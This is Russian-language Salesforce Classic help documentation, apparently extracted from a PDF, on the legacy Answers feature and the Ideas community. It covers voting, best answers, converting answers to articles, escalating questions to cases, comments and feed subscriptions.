Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Чтобы определить ответы, содержащие наиболее полезную (или бесполезную)
информацию, сообщество ответов поддерживает функцию голосования. Количество
положительных и отрицательных голосов определяет степень полезности ответа и
позволяет участникам сообщества быстро находить наиболее ценные ответы.

Кроме того, функция голосования позволяет авторам вопросов быстро определять
лучшие ответы.

При просмотре вопроса щелкните ссылку «Нравится» для полезного ответа или «Не
нравится» для бесполезного или неточного ответа. Отданный голос (+1 или -1)
учитывается в общем количестве положительных или отрицательных голосов.
Голосованиеза собственныеответынеподдерживается. Каждыйответможетучаствовать
в голосовании только один раз.

СМ. ТАКЖЕ:

Общие сведения об ответах

Использование ответов

Добавление ответа на вопрос
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Выбор лучшего ответа на вопрос

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Послепубликациивопросарекомендуемпросматриватьответы, предложенныедругими
участниками сообщества. Один из ответов может быть выбран в качестве лучшего.
Лучшийответотображаетсяпрямопод вопросом, поэтому участникисообществамогут
легко определить ответ, считающийся самым полезным.

Лучший ответ может быть выбран только администратором Salesforce или автором
соответствующего вопроса.

Чтобы выбрать лучший ответ, выполните указанные ниже действия.

1. Щелкните заголовок нужного вопроса на вкладке «Ответы».

2. Выберите лучший ответ и щелкните ссылку «Выбрать как "Лучший ответ"».

Чтобы определить лучший ответ, обратите внимание на количество голосов
(«Нравится» и «Не нравится») для каждого ответа. Возможно, ответ с наибольшим
количеством положительных голосов является самым полезным. Если вопрос
содержит слишком много ответов, выберите критерий сортировки «Наибольшее
количество голосов». В этом случае ответы с наибольшим количеством
положительных и отрицательных голосов отображаются вверху списка.

Ниже перечислены действия, доступные после выбора лучшего ответа.

• Вопросу присваивается статус «Решение найдено». Участники сообщества могут продолжать публиковать ответы и
голосовать за ответы для решенных вопросов.

• В случае публикации более ценного ответа, просто выберите новый ответ в качестве лучшего.

• Принеобходимости удалите статус лучшего ответа. Удаление данного статуса инициирует преобразование лучшего
ответа в обычный ответ.

СМ. ТАКЖЕ:

Создание статьи из ответа

Добавление ответа на вопрос

Голосование за ответ
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Просмотр вопросов и ответов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Чтобы просмотреть все собственные вопросы и опубликованные ответы, щелкните
ссылку «Мои вопросы и ответы» на вкладке «Ответы». Данное действие доступно
только активным участникам сообщества.

При просмотре списка вопросов пользователь может быстро определить решенные и
нерешенные вопросы. (Решенный вопрос — это вопрос, содержащий лучший ответ.)
Ниже перечислены критерии сортировки вопросов.

• «Самое новое»: вопросы, заданные последними, отображаются вверху списка.

• «Недавние действия»: вопросы, заданные последними, и вопросы, содержащие
последние ответы, отображаются вверху списка.

• «Самое давнее»: вопросы, заданные первыми, отображаются вверху списка.

Припросмотреспискаответовзаголовоквопросаотображаетсяввидессылки, за которой
следует ответ. Ниже перечислены критерии сортировки ответов.

• «Самое новое»: ответы, опубликованные последними, отображаются вверху списка.

• «Самое давнее»: ответы, опубликованные первыми, отображаются вверху списка.

• «Наибольшее количество голосов»: ответы, получившие наибольшее общее количество положительных и
отрицательных голосов, отображаются вверху списка.

В таблице ниже описаны значки, доступные на данной странице.

ОписаниеЗначок

Вопрос, для которого найдено решение. Чтобы присвоить вопросу статус решенного, автор
вопроса должен выбрать лучший ответ.

Вопрос, содержащий ответы участников сообщества. Например, данный значок обозначает
вопрос с 4 ответами. В случае отсутствия ответов данный значок содержит ноль.

Добавление ответа на вопрос.

Ответ на вопрос, признанный лучшим.

СМ. ТАКЖЕ:

Общие сведения об ответах

Добавление вопроса

Добавление ответа на вопрос
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Создание статьи из ответа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для преобразования ответа:
• «Создание» и «Чтение»

для типа статьи,
используемого для
преобразования ответов

И

«Редактирование» для
вопросов

И

Флажок «Пользователь
базы знаний»,
установленный на
странице сведений о
пользователе

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Отдельныеполезныеответы, доступныевсообществеответов, могутбытьпреобразованы
в статьи базы знаний. Чтобы создать статью, выполните указанные ниже действия.

1. Чтобыпросмотретьстраницусведений, содержащуюсамвопросиопубликованные
ответы, щелкните заголовок нужного вопроса.

2. Чтобы добавить ответ в базу знаний, щелкните ссылку «Преобразовать в статью»
для нужного ответа.

3. Внесите необходимые изменения в статью. Доступные поля определяются типом
статьипоумолчанию, назначеннымответам. Нижеперечисленысведения, доступные
для всех типов статей.

• Поле «Заголовок» содержит заголовок вопроса.

• Поле «Сводка» содержит ответ.

• Для статьи могут быть выбраны новые категории данных. В отличие от ответов,
статьям может быть назначено несколько групп категорий.

Прим.: Администраторможетизменитьтипстатьииназначенногосотрудника.

4. Нажмите кнопку «Сохранить». Исходный ответ содержит статусное сообщение,
определяющееегосвязьсостатьей. Ссылканастатьюдобавляетсявданноесообщение
после публикации статьи.

СМ. ТАКЖЕ:

Общие сведения об ответах

Общие сведения о Salesforce Knowledge

Публикация статей и переводов
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Расширение вопроса до обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для создания обращений:
• «Создание» для

обращений

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Администраторы организации и избранные участники сообщества могут расширять
нерешенные вопросы до обращений. При создании обращения страница сведений о
вопросе дополняется ссылкой на обращение, которая отображается в течение всего
срока существованиявопроса. Крометого, даннаяссылкаотображает статусобращения.

Прим.: При закрытии обращения вопросу не присваивается статус решенного;
при решении вопроса не закрывается обращение. Обновление обращений и
вопросов должно выполняться раздельно.

Чтобы расширить вопрос до обращения, выполните указанные ниже действия.

1. Щелкните заголовок нужного вопроса.

2. Нажмите кнопку «Расширить до обращения» на странице сведений о вопросе.
Данная кнопка отображается только в том случае, если администратор настроил
соответствующие параметры обращения.

3. Чтобыизменитьстандартныезначения, обновитеполяобращения. Заголовоквопроса
автоматически добавляется в поле обращения «Тема».

4. Нажмите кнопку «Сохранить». Приэтомоткрывается страница сведенийовопросе,
а пользователю, указанному в поле «Ответственный за обращение», предоставляется доступ к обращению.

СМ. ТАКЖЕ:

Добавление вопроса
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Общие сведения об идеях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

«Идеи» — это сообщество пользователей, публикующих идеи, голосующих за них и
размещающих комментарии к идеям. Сообщество «Идеи» — это интерактивный и
понятный способ привлечения, управления и демонстрации инноваций.

Совет: Salesforceподдерживает собственноесообщество «Идеи», врамках которого
пользователи Salesforce предоставляют отзывы по продуктам и предлагают новые
функции. Чтобы посетить данный ресурс, откройте страницу
http://ideas.salesforce.com.

Терминология сообщества «Идеи»

Ниже перечислены термины, используемые в сообществе «Идеи».

Категория, идеи
Категории — это значения, определяемые администратором, которые помогают
организовать идеи в логические подгруппы внутри зоны. Раскрывающийся список
«Просмотркатегории» на вкладке «Идеи» позволяетфильтроватьидеипокатегории,
а раскрывающийся список «Категории» на странице «Добавить идеи» позволяет
назначать категории.Например, зона идей, посвященная вопросам качественного
улучшенияпроизводимойлинииодежды, можетиспользоватьследующиекатегории:
«Рубашки», «Пиджаки» и «Свитера». Каждая организация использует один общий
набор категорий, который может быть добавлен или удален из каждой зоны. Зоны
идей и ответов используют разные категории, заданные администратором.

Комментарий
Комментарии — это текстовыеответынаразмещенныеидеи, которыеобъединяются
в обсуждение идей. Комментарии, опубликованные последними, отображаются на
вложенной вкладке «Комментарии» вкладки «Идеи». На странице сведений об идее
комментарииотображаются в хронологическомпорядке — от более старых к более
новым.

Сообщество
Сообщества — это настраиваемые общедоступные или личные области,
позволяющие сотрудникам, клиентам и партнерам совместно работать над бизнес-процессами и обмениваться
приобретенным опытом.

Эксперт сообщества
Эксперт сообщества — это участник сообщества, который официально выступает от имени организации. When
community experts post comments or ideas, a unique icon ( ) displays next to their name. Администратор Salesforce может
назначить необходимое количество экспертов.

Понизить
Чтобыпонизитьрейтингнеудачнойидеина 10 очков, нажмитекнопку«понизить». Рейтингидеиможетбытьпонижен
только один раз. Идея, рейтинг которой был понижен, не может быть повышена. Если количество отрицательных
голосов превышает количество положительных, то рейтинг идеи может быть отрицательным.

Период расцвета
Параметр «Период расцвета» определяет скорость, с которой устаревшие идеи перемещаются в нижние строки
рейтингана вложеннойвкладке «Популярныеидеи», чтобыуступитьместо темидеям, за которыенедавнобылиотданы
голоса. Чемменьшепериод расцвета, тем быстрее устаревшиеидеиперемещаются вниз страницы.Данныйпараметр
влияет на все зоны в организации.
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Идея
Идеи — этопредположения, опубликованныеучастникамисообществаидейиорганизованныепо зонам. Например,
идеядля зоны, специализирующейсяпотеме «Автомобильныепринадлежности», можетиметь следующийзаголовок:
«Изолированные подстаканники для хранения напитков». Идея для зоны, специализирующейся по теме «Льготы
сотрудников компании», может иметь следующий заголовок: «Корпоративный детский сад».

Пространства идей
Пространствоидей — этофорум, позволяющийприглашатьучастниковсообществакпубликацииидейпоконкретным
темам. Опубликованные идеи могут содержать возможные решения проблем или предложения по модернизации
компании.

Очко
Очко — это единица измерения, определяющая популярность идеи. Каждому голосу соответствует 10 очков
(положительная оценка добавляет 10 очков, отрицательная — отнимает 10 очков). Общее количество очков
отображается слева от идеи.

Популярные идеи
Вложенная вкладка «Популярные идеи» позволяет сортировать идеи по внутреннему рейтингу, основанному на
времениразмещенияположительных голосов заидею. Независимоотобщегоколичестваочков, идеисболееновыми
положительными голосами отображаются выше, чем идеи с более старыми положительными голосами. Таким
образом, чем позже идея приобрела популярность, тем выше она отображается на странице.

Портал
Еслиорганизацияиспользует клиентскийилипартнерскийпортал, то вкладка «Идеи» можетбыть добавленана один
или оба портала, чтобы предоставить пользователям портала возможность участия в собственных сообществах
«Идеи». Раскрывающийся список «Зона», расположенный вверху вкладки «Идеи», содержит все доступные зоны, а
каждая зона содержит собственную уникальную группу идей.

Повысить
Чтобы повысить рейтинг идеи на 10 очков, нажмите кнопку «повысить». Рейтинг идеи может быть повышен только
одинраз. Идея, рейтинг которойбылпонижен, неможетбытьповышена. Система Salesforce автоматическиповышает
рейтинг любой собственной идеи.

Недавние действия
Страница «Недавние действия» содержит краткие сведения обо всех последних действиях пользователя в зоне.
Например, данная страница содержит все идеи и комментарии, опубликованные пользователем в зоне, а также идеи,
за которые он голосовал. Чтобы просмотреть страницу «Недавние действия», откройте вкладку «Идеи» ищелкните
свое прозвище в верхнем правом углу страницы.

Статус
Статус идеи помогает участникам зоны отслеживать ее развитие. Например, значения «Проверяется», «Проверено»,
«Скоро появится» и «Теперь доступно» — это типичные статусы, которые могут быть заданы и назначены идеям.
Статус идеи отображается напротив ее заголовка для всех участников зоны.

Лучшие за все время идеи
Вложенная вкладка «Лучшие за все время» сортирует идеи по количеству очков — от наибольшего к наименьшему.
Данная вложенная вкладка позволяет просмотреть самые популярные идеи в журнале зоны «Идеи».

Голос, идея
Голосованиев сообществеидейпредполагаетповышениеилипонижениерейтингаидеи.Принятие голоса, отданного
участником сообщества, подтверждается наличием его прозвища в нижней части страницы сведенийоб идее. Чтобы
просмотреть все идеи, голос за которые уже отдан, откройте страницу «Недавние действия».
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Зона
Зоны помогают объединять идеи и вопросы в логические группы; каждая зона имеет собственное направление,
уникальные идеи и вопросы.

Использование сообщества «Идеи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

«Идеи» — это сообщество пользователей, публикующих идеи, голосующих за них и
размещающих комментарии к идеям. Сообщество «Идеи» — это интерактивный и
понятный способ привлечения, управления и демонстрации инноваций.Ниже
перечислены доступные действия.

• Публикация идей

• Просмотр идей или пространств идей

• Поиск идей

• Голосование за идеи

• Комментирование идей

• Просмотр недавних действий и ответов

• Подписка на каналы распределения

Идеи, принадлежащие ко всем категориям, отображаются на вложенной вкладке
«Популярныеидеи» вкладки «Идеи». Чтобыизменить текущее представление, откройте
другую вложенную вкладку (например, «Недавние идеи» или «Лучшие за все время»).
Чтобы вернуться к списковому представлению, нажмите кнопку «Список».

СМ. ТАКЖЕ:

Общие сведения об идеях

2464

Отправка ответов клиентамПоддержка клиентов



Просмотр идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

Ниже перечислены подразделы, посвященные способам просмотра идей.

• Доступ ко вкладке «Идеи» в системе Salesforce

• Доступ ко вкладке «Идеи» на портале

• Просмотр популярных идей

• Просмотр недавних идей

• Просмотр лучших за все время идей

• Просмотр идей по категории

• Просмотр идей по статусу

• Просмотр идей в других зонах

• Просмотр сведений об идее

Доступ ко вкладке «Идеи» в системе Salesforce

Поумолчаниювкладка «Идеи» доступнавприложении «Сообщество» системыSalesforce.
Чтобы выбрать данное приложение, воспользуйтесь меню приложений Force.com,
которое расположено в верхнем правом углу любой страницы Salesforce.

Помните, что администратор организации может добавить вкладку «Идеи» в другие
приложения, а также переименовать данную вкладку.

Чтобы открыть вкладку «Идеи», нажмите кнопку . Чтобы вернуться к
списковому представлению, нажмите кнопку «Список».

Совет: Раскрывающийся список «Зона», расположенный вверху вкладки «Идеи»,
содержит все доступные зоны, а каждая зона содержит собственную уникальную
группу идей.

Доступ ко вкладке «Идеи» в сообществе Salesforce.com

Администратор организации может добавить вкладку «Идеи» в созданное сообщество
Salesforce.com путем ее добавления в список выбранных вкладок во время настройки сообщества.

Доступ ко вкладке «Идеи» на портале

Если пользователям организации предоставлен доступ к клиентскому или партнерскому порталу, то администратор
портала может настроить отображение вкладки «Идеи» на любом типе портала. Идеи, отображающиеся на портале,
создаются на портале или в системе Salesforce, поддерживающей их публикацию на портале.

Просмотр популярных идей

Вложенная вкладка «Популярныеидеи» позволяет сортировать идеи по внутреннему рейтингу, основанномуна времени
размещения положительных голосов за идею. Независимо от общего количества очков, идеи с более новыми
положительными голосами отображаются выше, чем идеи с более старымиположительными голосами. Таким образом,
чем позже идея приобрела популярность, тем выше она отображается на странице.

2465

Отправка ответов клиентамПоддержка клиентов



Просмотр недавних идей

Вложенная вкладка «Недавние идеи» содержит идеи, опубликованные последними. Новые идеи отображаются над
старыми идеями.

Просмотр лучших за все время идей

Вложенная вкладка «Лучшие за все время» содержитидеиснаибольшимколичествомочков. Вложенная вкладка «Лучшие
за все время» содержит популярные идеи, набравшие наибольшее количество очков за все время своего существования;
вложенная вкладка «Популярные идеи» содержит идеи, получившие последние положительные голоса.

Просмотр идей по категории

Категории — этозначения, определяемыеадминистратором, которыепомогаюторганизоватьидеивлогическиеподгруппы
внутризоны. Раскрывающийсясписок «Просмотркатегории» навкладке «Идеи» позволяетфильтроватьидеипокатегории,
а раскрывающийся список «Категории» на странице «Добавить идеи» позволяет назначать категории.

Чтобыпросмотретьидеипо категории, выберитенужнуюкатегориювраскрывающемся списке «Просмотр категории».
Илищелкните ссылку на категорию напротив имени пользователя, отображающегося под описанием идеи.

Просмотр идей по пространствам идей

Все идеи, опубликованные в пространстве идей, доступны для просмотра. Страница сведений о пространстве идей
позволяет управлять пространством идей и связанными идеями.

Просмотр идей по статусу

Статусидеипомогает участникамзоныотслеживатьееразвитие. Например, значения «Проверяется», «Проверено», «Скоро
появится» и «Теперь доступно» — это типичные статусы, которые могут быть заданы и назначены идеям. Статус идеи
отображается напротив ее заголовка для всех участников зоны.

Чтобы просмотреть идеи по статусу, откройте вкладку «Идеи» и выберите нужное значение в раскрывающемся списке
«Статус». Чтобы просмотреть все идеи зоны, которым назначен данный статус, щелкните соответствующую ссылку
напротив идеи.

Просмотр идей в других зонах

Администраторы могут создавать разные зоны, каждая из которых использует собственный уникальный список идей.
При просмотре идей убедитесь в выборе нужной зоны. Чтобы просмотреть идеи в отдельной зоне, выберите нужную
зону в списке зон вверху страницы.

Просмотр сведений об идее

Чтобы открыть страницу сведений об идее, щелкните заголовок нужной идеи. Ниже перечислены разделы, доступные
на странице сведений об идеи.

• Сведения об идее (включая полный текст идеи и количество набранных очков)

• Связанное пространство идей и соответствующая зона

• Все комментарии к идее

• Область ввода нового комментария
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• Списокпоследнихстапользователей, проголосовавшихзаидею (именапользователейсортируются слеванаправо —
от последних голосов к первым)

• Страница сведений позволяет администратору редактировать, удалять и объединять идеи.

СМ. ТАКЖЕ:

Общие сведения об идеях

Голосование за идеи

Комментирование идей

Публикация и редактирование идей

Использование сообщества «Идеи»

Голосование за идеи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

Голосование в сообществе идей предполагает повышение или понижение рейтинга
идеи.Чтобы повысить рейтинг понравившейся идеи на 10 очков, нажмите кнопку
«повысить». Рейтингидеиможетбытьповышентолькоодинраз. Идея, рейтингкоторой
был понижен, не может быть повышена. Система Salesforce автоматически повышает
рейтинг любой собственной идеи.

Чтобы понизить рейтинг неудачной идеи на 10 очков, нажмите кнопку «понизить».
Рейтингидеиможетбытьпонижентолькоодинраз. Идея, рейтингкоторойбылпонижен,
не может быть повышена. Если количество отрицательных голосов превышает
количество положительных, то рейтинг идеи может быть отрицательным.

Чтобы проголосовать за идею, выполните указанные ниже действия.

1. Выберите нужную идею на вкладке «Идеи».

2. Чтобы повысить рейтинг идеи на 10 очков, нажмите кнопку «повысить». Чтобы
понизить рейтинг идеи на 10 очков, нажмите кнопку «понизить».

Прим.: Рейтинг новой опубликованной идеи автоматически повышается на
10 очков.

СМ. ТАКЖЕ:

Общие сведения об идеях

Просмотр идей

Использование сообщества «Идеи»

Просмотр страницы «Недавние действия»
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Комментирование идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

Комментарии — это текстовые ответы на размещенные идеи, которые объединяются в
обсуждение идей. Комментарии, опубликованные последними, отображаются на
вложенной вкладке «Комментарии» вкладки «Идеи». На странице сведений об идее
комментарии отображаются в хронологическом порядке — от более старых к более
новым.

Добавление комментариев к идеям

Чтобы добавить комментарии к идеям, доступные другим участникам сообщества,
выполните указанные ниже действия.

1. Выберите нужную идею на вкладке «Идеи».

2. Щелкните заголовок идеи или ссылку «Комментарии», расположенную под
описанием идеи.

3. Введитекомментарийвтекстовоеполераздела «Добавитькомментарий» настранице
сведений об идее. Разрешается использовать не более 4 000 символов.

Если в организации включен HTML-редактор для сообщества «Идеи», то описание
может содержать код HTML и опорные интерактивные изображения. Если
HTML-редактор отключен, рекомендуем использовать только обычный текст. .

4. Чтобы отправить комментарий, нажмите кнопку «Опубликовать».

Новый комментарий добавляется в связанный список «Комментарии» на странице
сведений об идее.

Редактирование комментариев к идеям

Чтобыизменитькомментарий, добавленныйкидее, выполнитеуказанныенижедействия.

1. Щелкните ссылку «Правка»напротив нужного комментария на странице сведений
об идее.

2. Внесите необходимые изменения.

3. Чтобы сохранить внесенные изменения, нажмите кнопку «Применить».

Удаление комментариев к идеям

Комментарии к идеям могут быть удалены только при наличии полномочия «Удаление» для идей.

1. Щелкните ссылку «Удал.» напротив нужного комментария на странице сведений об идее.

2. Нажмите кнопку «OK».

Просмотр недавно опубликованных комментариев

Чтобы просмотреть комментарии, опубликованные в сообществе «Идеи» последними, откройте вложенную вкладку
«Комментарии» и выберите нужную зону. Чтобы открыть страницу сведений о соответствующей идее, щелкните текст
нужного комментария.

Ниже перечислены элементы, доступные на вложенной вкладке «Комментарии».

• Комментарии отображаются в хронологическом порядке — от более новых к более старым.
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• Заголовок прокомментированной идеи отображается над комментарием.

• Псевдоним пользователя, опубликовавшего комментарий, отображается напротив комментария.

• Общееколичествокомментариевкидееотображается в скобках. Например, ссылка «Комментарии [20]» указывает
на наличие 20 комментариев к данной идее.

СМ. ТАКЖЕ:

Общие сведения об идеях

Просмотр идей

Использование сообщества «Идеи»

Выбор понравившихся комментариев к идеям

Выбор понравившихся комментариев к идеям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы выразить свою поддержку, выберите понравившийся комментарий.

Щелкните ссылку «Нравится» под комментарием, связанным с идеей.

Если комментарий больше не нравится, щелкните ссылку «Не нравится».

Сообщество «Идеи» учитывает количество предпочтений, полученных комментарием.
Каждое предпочтение, отданное комментарию, увеличивает общий результат
комментария и репутацию прокомментировавшего пользователя на одно очко.

СМ. ТАКЖЕ:

Комментирование идей

Удаление идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления идей и
комментариев:
• «Удаление» для идей

Чтобы удалить идею, выполните указанные ниже действия.

1. Чтобы открыть страницу сведений об идее, щелкните заголовок нужной идеи.

2. Нажмите кнопку «Удалить».

3. Нажмите кнопку «OK».

Основная идея, все дочерние идеи и связанные комментарии перемещаются в корзину.
Обратите внимание, что восстановление основной идеи из корзины приводит к
восстановлению дочерних идей, связанных комментариев и голосов.

СМ. ТАКЖЕ:

Объединение идей

Публикация и редактирование идей
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Просмотр страницы «Недавние действия»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

Страница «Недавниедействия» содержиткраткиесведенияобовсехпоследнихдействиях
пользователяв зоне.Чтобыпросмотретьстраницу «Недавниедействия», откройтевкладку
«Идеи» ищелкните своепрозвищев верхнемправомуглу страницы. Чтобыпросмотреть
страницу «Недавние действия» для другого участника зоны, щелкните имя нужного
участника, отображаемое под любой опубликованной им идеей или комментарием.
Чтобыпросмотретьдействиядля другихдоступныхзон, выберитенужнуюзону в списке
«Зона».

Ниже перечислены значки, используемые на странице «Недавние действия» для
обозначения разных типов действий.

• обозначает отправленные идеи.

• обозначает идеи, голос за которые уже отдан.

• обозначает собственные комментарии и комментарии других пользователей к
опубликованным идеям.

Чтобы просмотреть дополнительные сведения, воспользуйтесь ссылками,
расположенными на левой боковой панели страницы «Недавние действия».

• Чтобы просмотреть список собственных идей, опубликованных в данную зону,
щелкните ссылку «Отправленныеидеи». Первойотображается самаяпоследняяидея.

• Чтобыпросмотреть списокидейданнойзоны, голос за которые ужеотдан, щелкните
ссылку «Идеи, за которые проголосовали».

• Чтобыпросмотретьпоследниеопубликованныекомментарииковсемсобственным
идеям, а также последние опубликованные комментарии ко всем идеям,
прокомментированнымранее, щелкните ссылку «Недавние ответы». Данныйраздел
не отображается при просмотре недавних действий другого участника сообщества.

Чтобы быстро просмотреть количество недавних ответов, воспользуйтесь значком
в верхнем правом углу вкладки «Идеи». Данный значок отображается только при

наличии нового ответа.

Прим.: Стандартное изображение не может быть заменено собственным
изображением.

СМ. ТАКЖЕ:

Общие сведения об идеях

Просмотр идей

Использование сообщества «Идеи»
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Подписка на каналы распределения для сообщества «Идеи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

Каналы распределения позволяют пользователям подписываться на изменения,
происходящиевсообществе «Идеи», атакжеполучатьобновлениядлявнешнихпрограмм
чтения новостей.Ниже перечислены обязательные условия для подписки на каналы
распределения сообщества «Идеи».

• Сообщество «Идеи» должно быть доступным посредством сайтов Force.com.

• Поле «Категории» должно быть включено в сообществе «Идеи». В некоторых
организациях данное поле включено по умолчанию.

Чтобы подписаться на канал распределения, щелкните значок канала ( ) на одной из
указанных ниже страниц вкладки «Идеи».

• Вложенная вкладка «Популярные идеи»

• Вложенная вкладка «Недавние идеи»

• Вложенная вкладка «Лучшие за все время»

• Вложенная вкладка «Комментарии»

Данный канал позволяет просматривать отдельные комментарии даже в том случае,
если они принадлежат одной идее, тогда как вложенная вкладка «Комментарии»
группируеткомментариииотображает толькоколичествопоследнихкомментариев,
опубликованных для отдельной идеи.

• Страница «Недавние действия»

Чтобы подписаться на канал, содержащий все комментарии конкретного участника
сообщества, щелкните имя нужного участника, отображаемое под любой
опубликованной им идеей или комментарием. Затем щелкните значок канала на
